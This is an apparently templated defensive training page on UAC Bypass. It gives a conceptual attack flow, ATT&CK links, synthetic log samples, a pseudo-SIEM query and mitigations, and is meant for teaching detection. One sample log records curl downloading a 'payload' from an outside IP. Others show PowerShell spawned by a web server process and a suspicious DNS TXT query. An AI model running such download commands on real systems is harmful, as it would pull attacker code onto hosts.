What is it?
UAC Bypass is an attack pattern in which windows elevation controls are bypassed to execute with higher integrity. The learning goal is to identify the trust boundary being abused, the attacker’s sequence, and the telemetry that records it.
How it works in plain English
Use this three-part model to understand the attack without memorizing a tool name.
The operating system or user allows a process, binary, script, service, library, or persistence mechanism to run.
The attacker executes code and changes process, file, registry, service, memory, or security state.
Reconstruct the process tree and timeline: parent, child, command line, user, integrity, file origin, network destination, and resulting state change.
Worked example: how the sequence may look
Access to or influence over the relevant Windows environment.
Trigger the condition that enables uac bypass.
Process creation, image loads, file writes, registry changes, services, tasks, and persistence records.
Baseline the affected identity, host, application, service, or protocol.
If successful, the attacker may continue with LSASS Credential Dumping. This is a possibility, not a guaranteed next step.
This is a defensive learning scenario. Real incidents vary, and the listed outcome is only one possible path.
Why do attackers use it?
Advance an objective associated with execution / persistence / impact.
Exploit a weak control, unsafe default, exposed service, trusted relationship, or human decision.
Create access, gain privilege, evade defenses, steal information, or disrupt operations.
Prerequisites
Access to or influence over the relevant Windows environment.
Knowledge of the target’s technology, identities, configuration, or user behavior.
A weakness, misconfiguration, exposed interface, stolen secret, or social opportunity.
A path to observe success and continue toward the objective.
Attack path possibilities
Attack chains are not fixed. These links show common possibilities to investigate before and after this behavior.
A targeted message delivers a malicious attachment.
T1189 Drive-by CompromiseBrowsing a compromised site triggers exploitation or malicious delivery.
T1190 Exploitation of Public-Facing ApplicationA vulnerability in an internet-facing service is exploited for initial access.
T1105 Ingress Tool TransferTools or payloads are transferred into a compromised environment.
Credential material is extracted from the Windows security process.
T1053 Scheduled Task PersistenceA scheduled job executes malicious code later.
T1562.001 Security Tool TamperingDefensive products, logs, or configurations are disabled or changed.
T1021 Remote ServicesRDP, SMB, SSH, WinRM, VNC, or similar services are used to access remote systems.
Step-by-step attack flow
Reconnoiter the target and identify the exposed trust boundary.
Prepare the infrastructure, lure, input, credential, or payload required.
Trigger the condition that enables uac bypass.
Confirm access or effect while attempting to avoid controls.
Use the result for follow-on access, execution, collection, movement, persistence, or impact.
Remove evidence, rotate infrastructure, or repeat against other targets.
MITRE ATT&CK mapping
ATT&CK is updated over time. Verify the live technique before operationalizing a detection.
Logs and artifacts
Process creation, image loads, file writes, registry changes, services, tasks, and persistence records.
EDR detections, memory indicators, command lines, module loads, and outbound connections.
Security-control changes, log deletion, recovery inhibition, and unusual data access.
Realistic log examples
These records use realistic field names and formats but synthetic organizations, users, addresses, and identifiers. A single event is not proof; correlate time, identity, source, target, and the resulting action.
Process creation; correlate parent, child, command line, account, and logon ID.
2026-07-16T14:28:04Z EventID=4688 Computer=APP01.corp.example
SubjectUserName=svc-web SubjectLogonId=0x4A81C
NewProcessName=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentProcessName=C:\Windows\System32\inetsrv\w3wp.exe
CommandLine="powershell.exe -NoProfile -NonInteractive <redacted>"
TokenElevationType=%%1937 MandatoryLabel=S-1-16-8192
Baseline the affected identity, host, application, service, or protocol.
Executed program and syscall result; join records by the audit message ID.
type=SYSCALL msg=audit(1784212084.412:8841): arch=c000003e syscall=59
success=yes exit=0 pid=24891 ppid=24872 auid=1001 uid=33 exe="/usr/bin/curl"
type=EXECVE msg=audit(1784212084.412:8841): argc=3 a0="curl"
a1="-fsSL" a2="http://198.51.100.24/payload"
Detect rare combinations of source, target, action, timing, volume, and result.
Protocol-level network metadata suitable for volume, beaconing, scanning, and tunneling analysis.
# conn.log
ts=1784211621.944 uid=Cq91mV3j id.orig_h=10.24.18.77 id.orig_p=51542
id.resp_h=198.51.100.24 id.resp_p=443 proto=tcp service=ssl
duration=0.182 orig_bytes=517 resp_bytes=421 conn_state=SF
# dns.log
query=aj3k2f9d.data-sync.example qtype_name=TXT rcode_name=NOERROR
Correlate identity, endpoint, network, application, and control-plane evidence across the sequence.
- Who or what identity acted?
- From which device, process, IP, or workload?
- What target and operation were involved?
- Did it fail, succeed, or change state?
- What correlated event happened immediately before and after?
Detection logic / SIEM queries
Baseline the affected identity, host, application, service, or protocol.
Detect rare combinations of source, target, action, timing, volume, and result.
Correlate identity, endpoint, network, application, and control-plane evidence across the sequence.
Prioritize activity followed by successful access, privilege change, execution, or data movement.
FROM security_events
WHERE event_time > now() - 30m
AND behavior = "UAC Bypass"
GROUP BY source, target, user
HAVING count(*) > baseline(source, target, user)
OR rare(action, source, target) = true
CORRELATE WITH success, privilege_change, execution, data_access
Mitigations
Reduce exposed attack surface and remove unused services, identities, features, and trust relationships.
Apply least privilege, strong authentication, secure defaults, segmentation, and timely patching.
Validate untrusted input and independently authorize sensitive operations.
Centralize and protect relevant logs; test detections with controlled simulations.
Maintain a response playbook for containment, credential rotation, evidence preservation, and recovery.
Real-world examples
UAC Bypass appears in opportunistic campaigns and targeted intrusions when the required condition exists.
Real incidents usually combine it with credential theft, phishing, exploitation, persistence, or exfiltration.
The best case studies describe the full attack chain rather than an isolated tool or indicator.
Common questions
01What makes UAC Bypass possible?
A trust assumption fails: an identity, input, component, network message, user decision, or software relationship is accepted without enough verification.
02What should a defender collect first?
Start with logs closest to the decision point, then add identity, endpoint, network, and control-plane context.
03How should I study this attack?
Learn the concept, identify prerequisites, map observable steps, write a detection hypothesis, and validate it safely in a lab.